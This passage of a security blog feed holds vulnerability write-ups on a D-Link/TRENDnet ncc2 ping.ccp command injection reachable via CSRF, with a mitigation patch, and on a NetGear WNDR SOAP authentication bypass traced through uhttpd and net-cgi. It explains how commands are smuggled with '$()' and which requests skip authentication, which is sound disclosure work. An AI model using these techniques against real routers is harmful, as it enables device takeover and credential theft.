  &lt;li&gt;Hardware version information&lt;/li&gt;
  &lt;li&gt;Language information&lt;/li&gt;
&lt;/ul&gt;

&lt;h5 id=&quot;wps_default_pintxt&quot;&gt;wps_default_pin.txt&lt;/h5&gt;

&lt;p&gt;When queried, this resource will return the default / factory WPS pin for the device.&lt;/p&gt;

&lt;h5 id=&quot;usb_connecttxt&quot;&gt;usb_connect.txt&lt;/h5&gt;

&lt;p&gt;When queried, this resource will return a binary value which indicates whether an external device is connected to the USB port on the device - or null in the case of devices that do not have an exposed USB port.&lt;/p&gt;

&lt;p&gt;This resource could potentially by used by an attacker to enumerate devices with USB storage attached.&lt;/p&gt;

&lt;h3 id=&quot;analysis--ncc2--pingccp&quot;&gt;Analysis :: NCC2 :: ping.ccp&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;http://youtu.be/lG3ueVSVCis&quot;&gt;&lt;img src=&quot;/assets/article_images/2015/YT-Embed.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Of the issued listed in this document, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping.ccp&lt;/code&gt; command injection vulnerability is arguably the worst - due to the ability for this vulnerability to be leveraged via CSRF. Simply put, it does not matter whether ‘WAN management’ is enabled on the device or not; visiting a webpage with a malicious javascript payload embedded is enough for an attacker to gain full access to the device.&lt;/p&gt;

&lt;p&gt;In order to understand why this is possible, let’s have a look through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; binaries. A cursory glance seems to indicate that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; binary is providing CGI functionality to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; - where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; is handling inbound HTTP requests and dispatching them as required. However, let’s confirm that this is the case before we go too much further.&lt;/p&gt;

&lt;p&gt;Let’s dump the symbol table from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; binary with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readelf&lt;/code&gt; and look for anything that might point us in the right direction.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/jjhttpd-readelf.png&quot; alt=&quot;jjhttpd-readelf&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Well, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_ccp&lt;/code&gt; looks like as good a place as any to start. Let’s open up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_ccp&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0040d648&lt;/code&gt;) in radare2 and see what we can find:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/jjhttpd-do_ccp-pdf.png&quot; alt=&quot;jjhttpd-do_ccp-pdf&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Okay, this looks like it’s quite large. Doing things manually here is going to take a lot of time, and at this stage we’re just attempting to work out how &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; is called, not analyze &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; itself (as the vulnerability appears to exist inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;In order to speed things up, let’s make Ruby do our ‘dirty’ work for us. There is probably a more elegant way of doing this analysis - such as the radare2 API - but as we only need to do some string mangling, flat files will get us through.&lt;/p&gt;

&lt;p&gt;To begin, we’ll dump the disassembled view of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_ccp&lt;/code&gt; to file and use a combination &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readelf&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;awk&lt;/code&gt; to dump the GOT into a file that we can then use to correlate. It’s worth noting that there is probably a nicer way of dumping the GOT directly from radare2, but I wasn’t able to find a way that outputs a format similar to that of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;readelf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/jjhttpd-dump-got.png&quot; alt=&quot;jjhttpd-got&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we have all of the details we need, we can feed these files into a quick Ruby script that first reads in the GOT and builds a Ruby hash in the format of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;address =&amp;gt; name&lt;/code&gt;. It then reads the disassembled view of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_ccp&lt;/code&gt; and looks for any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lw t9, N(gp)&lt;/code&gt; operations. When such an operation is found, it takes the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;N&lt;/code&gt; and the known value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gp&lt;/code&gt;, sums them and looks in the GOT hash for an entry at this address:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/jjhttpd-got-merge.png&quot; alt=&quot;jjhttpd-got-merge&quot; /&gt;&lt;/p&gt;

&lt;p&gt;…27 lines of terribly written Ruby later and we have an easy to follow map of all &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jalr&lt;/code&gt; operations inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_ccp&lt;/code&gt; - as well as their associated addresses. Although this won’t show us exactly what is going on, it allows us to quickly locate what we need inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_ccp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/jjhttpd-ncc-socket-connect.png&quot; alt=&quot;jjhttpd-ncc-socket-connect&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Long story short, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; seems to be spawning a socket to an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; process, submitting the request, reading the response and closing the socket - all pretty pedestrian, but still nice to know there’s no magic happening here. This also helps to confirm our suspicions that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; is dispatching requests to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; where the command processing is occurring, and ultimately, where the vulnerability lays.&lt;/p&gt;

&lt;p&gt;Okay, so now that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; is out of the way, let’s have a look at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;To start with, we’ll do the same as we did for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjhttpd&lt;/code&gt; above; we’ll dump the GOT and disassembled view, and correlate the two with some Ruby glue.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/ncc2-got-merge.png&quot; alt=&quot;ncc2-got-merge&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Straight away we can see something interesting - being the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__system()&lt;/code&gt; call at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00493adc&lt;/code&gt;. Let’s pop this address back open in radare2 and have a look at what’s being passed to this function.&lt;/p&gt;

&lt;p&gt;As we know the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gp&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x60F220&lt;/code&gt; - which is calculated and stored onto the stack at the beginning of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;doPingV6&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x004939d4&lt;/code&gt;) - we can perform the rest of the operations by hand, commenting as we go.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/ncc2-system.png&quot; alt=&quot;ncc2-system&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Unfortunately, I forgot to add a comment above &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00493ae4&lt;/code&gt; but this is where the user submitted value is stored onto the stack:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/ncc2-save-contents.png&quot; alt=&quot;ncc2-save-contents&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The net result is that we now know the values of the argument registers that are used for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__system()&lt;/code&gt; call, as well as where the user provided string is ending up. Let’s take the addresses for these argument registers and print their contents as strings:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/ncc2-strings.png&quot; alt=&quot;ncc2-strings&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Well, it looks like we’ve found out culprit at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x547434&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The user provided value is formatted into this string in place of the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%s&lt;/code&gt;. As a result, all that is needed is to encapsulate a command into a format that will be interpreted by the shell (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$()&lt;/code&gt;) and piggy-backed command(s) will be executed when this call is evaluated.&lt;/p&gt;

&lt;p&gt;We’ve managed to make it this far, so why don’t we go ahead try to fix this ourselves, eh?&lt;/p&gt;

&lt;p&gt;:warning: &lt;b&gt;Here be dragons.&lt;/b&gt;&lt;/p&gt;

&lt;p&gt;This is a very dirty ‘patch’ and is being shown as a proof-of-concept only. This is not for the ‘faint of heart’, and should only be attempted if you are comfortable with recovering your device from the bootloader. No support, nor warranty, is provided here and any attempts to replicate this patch are done so at your own risk.&lt;/p&gt;

&lt;p&gt;Now, with that out of the way…&lt;/p&gt;

&lt;p&gt;As we know that the vulnerability is due to an unsanitized string passed to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system()&lt;/code&gt; call, why not simply disable the call? My first thought was to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;noop&lt;/code&gt; out the offending instruction, however, this may lead to further issues. In an effort to keep things simple, why don’t we replace the first part of the call with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; - to satisfy any exit code checks - and then comment the rest of the command with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;Let’s see if it works…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/ncc2-destroy.png&quot; alt=&quot;ncc2-destroy&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Of course, for this to be useful, we’ll need to replace the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc&lt;/code&gt; / &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ncc2&lt;/code&gt; binary in the GPL package for this device / firmware, recompile the image and flash it onto the device. I’ve gone ahead and performed this already for the DIR-820LA1 v1.02b10 firmware and confirmed that it appears to mitigate this vulnerability.&lt;/p&gt;

&lt;p&gt;Although this ‘patch’ only fixes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping.ccp&lt;/code&gt; vulnerability, it saves us from ‘drive-by’ attacks while we wait for a fix from the vendor. The downside to this method is that D-Link do not appear to have published the GPL sources for their latest firmware builds. As a result, you may not be able to compile the latest firmware for your device, which may end in the introduction of further issues.&lt;/p&gt;

&lt;p&gt;The long and short of it is: it’s probably better to use something like µBlock and blacklist your router IP - to mitigate unwanted CSRF calls against your device - while we wait for a vendor fix.&lt;/p&gt;
</description>
        <pubDate>Thu, 26 Feb 2015 08:00:00 +0000</pubDate>
        <link>//www.kernelpicnic.net/2015/02/26/D-Link-and-TRENDnet-ncc2-service.html</link>
        <guid isPermaLink="true">//www.kernelpicnic.net/2015/02/26/D-Link-and-TRENDnet-ncc2-service.html</guid>
        
        
      </item>
    
      <item>
        <title>NetGear SOAPWNDR Authentication Bypass</title>
        <description>&lt;p&gt;A number of WNDR series devices contain an embedded SOAP service for use with the NetGear Genie application. This service allows for viewing and setting of certain router parameters, such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;WLAN credentials and SSIDs.&lt;/li&gt;
  &lt;li&gt;Connected clients.&lt;/li&gt;
  &lt;li&gt;Guest WLAN credentials and SSIDs.&lt;/li&gt;
  &lt;li&gt;Parental control settings.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At first glance, this service appears to be filtered and authenticated; HTTP requests with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOAPAction&lt;/code&gt; header set but without a session identifier will yield a HTTP 401 error. However, a HTTP POST with as little as a blank form and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOAPAction&lt;/code&gt; header is sufficient to execute certain requests and query information from the device.&lt;/p&gt;

&lt;p&gt;As this SOAP service is called via the built-in HTTP / CGI daemon, unauthenticated queries will be answered from the WAN if remote management has been enabled on the device. As a result, affected devices can be interrogated and hijacked with as little as a well placed HTTP query.&lt;/p&gt;

&lt;p&gt;The included proof of concept queries this service in order to extract the admin password, device serial number, WLAN details, and various information regarding clients currently connected to the device.&lt;/p&gt;

&lt;h3 id=&quot;analysis--uhttpd&quot;&gt;Analysis :: uHTTPd&lt;/h3&gt;

&lt;p&gt;In the case of the WNDR3700v4 - as other devices may utilize a different arrangement - the under-laying system is built on-top of OpenWRT. As part of this, the OpenWRT uhttpd service is being used to serve up the management interface on this device. This said, NetGear specific functionality is implemented via an ELF binary called through the uhttpd CGI provider.&lt;/p&gt;

&lt;p&gt;Although there are a few NetGear patches inside of the uhttpd codebase, the vulnerability exists inside the custom CGI provider and not the OpenWRT uhttpd service.&lt;/p&gt;

&lt;p&gt;If we review an abridged version of the uhttpd code - taken from the NetGear WNDR3700v4 GPL package - we can see that when the application is loaded, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uh_config_parse&lt;/code&gt; is called (line 735) and a loop to handle client connections is started (line 818).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/uhttpd-main.png&quot; alt=&quot;uhttpd-main&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When a HTTP request comes in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uh_path_lookup&lt;/code&gt; is called to evaluate the requested URL (line 921). If the request path is found to be invalid by this lookup the rest of the block is bypassed and a 404 returned to the client (line 952).&lt;/p&gt;

&lt;p&gt;Further to this, due to the routing at line 931, all we need to do is request a resource that exists and doesn’t have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.gif&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.jpg&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.css&lt;/code&gt; somewhere in the filename and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ug_cgi_request&lt;/code&gt; will be called.&lt;/p&gt;

&lt;p&gt;Interestingly enough, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uh_auth_check&lt;/code&gt; (line 924) is doing absolutely nothing here; we could replace this call with an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if(true)&lt;/code&gt; and achieve the same functionality. This is not the fault of the uhttpd service but rather the lack of realm configuration on the device. If we rewind a bit to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uh_config_parse&lt;/code&gt; we can see why.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/uhttpd-config-parse.png&quot; alt=&quot;uhttpd-config-parse&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uh_auth_add&lt;/code&gt; function, which populates the realm array, is called per line of realm configuration from either the configuration file specified as a command argument or a default of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/httpd.conf&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;However, if we inspect the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uhttpd.sh&lt;/code&gt; init script on the device we can see that no configuration file path is specified at daemon start. If we also check for the presence of the default file - being &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/httpd.conf&lt;/code&gt; - we find it to be missing.&lt;/p&gt;

&lt;p&gt;This ends in a realm blank array. As a result of this, all documents bypass uhttpd build-in authentication - due to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uh_auth_check&lt;/code&gt; returning &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; by default.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/uhttpd-sh.png&quot; alt=&quot;uhttpd-sh&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Based on this information, and the location of the authentication data in SOAP envelopes from “Genie” client, we can ascertain that authentication is being handled by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net-cgi&lt;/code&gt; process directly.&lt;/p&gt;

&lt;h3 id=&quot;analysis--net-cgi&quot;&gt;Analysis :: Net-CGI&lt;/h3&gt;

&lt;p&gt;As found above, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net-cgi&lt;/code&gt; process seems to be called for almost all documents, and is in charge of both authentication and processing of CGI requests. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net-cgi&lt;/code&gt; process itself is an ELF binary that is called through the uhttpd CGI wrapper; specifically by an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execl()&lt;/code&gt; (line 429) inside of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uh_cgi_request&lt;/code&gt; function:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/uhttpd-cgi.png&quot; alt=&quot;uhttpd-cgi&quot; /&gt;&lt;/p&gt;

&lt;p&gt;All pertinent HTTP headers - and a few others that are hidden in this excerpt - are passed through environment variables to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net-cgi&lt;/code&gt;. Included in these headers are the two that we are interested in: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOAPAction&lt;/code&gt; (line 420) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authorization&lt;/code&gt; (line 396).&lt;/p&gt;

&lt;p&gt;As we’re now hitting a binary that we do not have sources for we will need to start debugging the process directly. In order to do this, we will be using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gdb&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;binutils&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;radare2&lt;/code&gt;. Lucky for us however, the GPL package from NetGear includes a pre-compiled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net-cgi&lt;/code&gt; with debugging symbols.&lt;/p&gt;

&lt;p&gt;To start, we need to work out where we are in the world. In order to do so, let’s look for somewhere that we can attach a breakpoint to and then trace backwards from.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/net-cgi-readelf.png&quot; alt=&quot;net-cgi-readelf&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are a few interesting looking results here, so let’s get started with those most likely related to the execution of SOAP requests, namely &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SendSoapResponse&lt;/code&gt;. We’ll start by attaching a breakpoint to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00429f88&lt;/code&gt;) and submit a known-working SOAP call to the device (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GetInfo&lt;/code&gt; from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LANConfigSecurity&lt;/code&gt; namespace).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/net-cgi-gdb-bp1.png&quot; alt=&quot;net-cgi-gdb-bp1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;…that’s exactly what we want to see; we’re hitting our installed breakpoint as expected. If we inspect a trace leading up to the breakpoint we can see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; is called via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;handle_http_request&lt;/code&gt;, so it looks like we’re on the right track.&lt;/p&gt;

&lt;p&gt;Let’s attach breakpoints to all of the addresses we found related to authentication and give the same request another shot.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/net-cgi-gdb-bp2.png&quot; alt=&quot;net-cgi-gdb-bp2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we’re hitting the same breakpoint as above, it looks like authentication is handled either inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; or afterwards. Let’s remove the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; breakpoint and try again.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/net-cgi-gdb-bp3.png&quot; alt=&quot;net-cgi-gdb-bp3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Err, righto, we didn’t hit any breakpoints… Let’s try a different SOAP action instead. This time we’ll try with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authenticate&lt;/code&gt; from inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ParentalControl&lt;/code&gt; namespace - which is used as part of initial authentication envelope sent by the “Genie” application.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/net-cgi-gdb-bp4.png&quot; alt=&quot;net-cgi-gdb-bp4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, there’s the breakpoint we were expecting to see. The real question is why we’re not hitting this break-point unless we submit a SOAP action inside of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ParentalControl&lt;/code&gt; namespace.&lt;/p&gt;

&lt;p&gt;First though, let’s work out where we are and how we got there.&lt;/p&gt;

&lt;p&gt;If we look at the trace, and the contents of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ra&lt;/code&gt; register, we can see that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;soap_auth&lt;/code&gt; is being called from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0042a184&lt;/code&gt;. If we compare this with previous traces, and the contents of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ra&lt;/code&gt; registers at each step, we find that we’re kicked to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00429f88&lt;/code&gt;) by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00407b5c&lt;/code&gt; inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;handle_http_request&lt;/code&gt;. As this is exactly the same behaviour we’ve seen with other SOAP actions - except for the final kick to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;soap_auth&lt;/code&gt; - we’re likely being routed through the application in a consistent manner up until this point.&lt;/p&gt;

&lt;p&gt;Now that we know how we’re getting from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;handle_http_request&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;soap_auth&lt;/code&gt;, the question is why we only hit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;soap_auth&lt;/code&gt; during a SOAP call that lives inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ParentalControl&lt;/code&gt; namespace.&lt;/p&gt;

&lt;p&gt;Once we’ve traced through and commented as much of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ExecuteSoapAction&lt;/code&gt; as we can, it becomes quite clear what’s causing this.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/ExecuteSoapAction-SOAPActions.png&quot; alt=&quot;ExecuteSoapAction-SOAPActions&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00429fe4&lt;/code&gt; the program seems to load the address of a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOAPActions&lt;/code&gt; array into argument register &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a0&lt;/code&gt;. At &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00429fec&lt;/code&gt; it then performs a ‘safety check’ to ensure that the array it just loaded is non-zero.&lt;/p&gt;

&lt;p&gt;Assuming the array was loaded, we’re then branched to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jalr&lt;/code&gt; at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0042a00c&lt;/code&gt; which jumps to the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcmp()&lt;/code&gt; - via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libc&lt;/code&gt;. This &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcmp()&lt;/code&gt; is testing whether the first element of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOAPActions&lt;/code&gt; array we just loaded matches the SOAP namespace specified in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOAPAction&lt;/code&gt; header from the client.&lt;/p&gt;

&lt;p&gt;As per the comment above &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0042a014&lt;/code&gt;, if this test fails - as the strings aren’t a match - then we are branched back up to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00429ffc&lt;/code&gt; where the address is incremented to the next element inside of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SOAPActions&lt;/code&gt;. A quick test is performed at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0042a004&lt;/code&gt; to ensure the new address is valid, and the whole process is performed again.&lt;/p&gt;

&lt;p&gt;Interestingly, even after this lookup has been completed, a separate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcmp()&lt;/code&gt; is performed at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x0042a02c&lt;/code&gt; to check whether the client specified SOAP namespace is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ParentalControl&lt;/code&gt;. This seems to be where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;soap_auth&lt;/code&gt; is referenced, and why authentication is only required for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ParentalControl&lt;/code&gt; calls.&lt;/p&gt;

&lt;p&gt;The process described above can be very roughly expressed as something like following pseudo-code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SOAPActions = Array(&quot;DeviceConfig&quot;, ... &quot;ParentalControl&quot;)

function ExecuteSoapAction(SOAPNamespace, SOAPCall, ContentLength) {

  if length of ContentLength is zero {
    call SendSoapRespCode(401)
  }
  if length of SOAPNamespace is zero {
    call SendSoapRespCode(401)
  }
  if length of SOAPCall is zero {
    call SendSoapRespCode(401)
  }

  SOAPActionFound = false
  for each entry in SOAPActions as SOAPAction {
    if SOAPAction == SOAPNamespace {
      SOAPActionFound = true
      break
    }
  }

  if SOAPNamespace == &quot;ParentalControl&quot; {
    SOAPActionFound = true
    call soap_auth()
  }

  if not SOAPActionFound {
    call SendSoapRespCode(401)
  }

  ...
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that we know why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;soap_auth&lt;/code&gt; is only called for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ParentalControl&lt;/code&gt;, the final question is why we receive a SOAP 401 message when we attempt to call a valid SOAP action with a blank request.&lt;/p&gt;

&lt;p&gt;…Long story short, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00429fdc&lt;/code&gt; is responsible for this.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/article_images/2015/ExecuteSoapAction-ContentLength.png&quot; alt=&quot;ExecuteSoapAction-ContentLength&quot; /&gt;&lt;/p&gt;

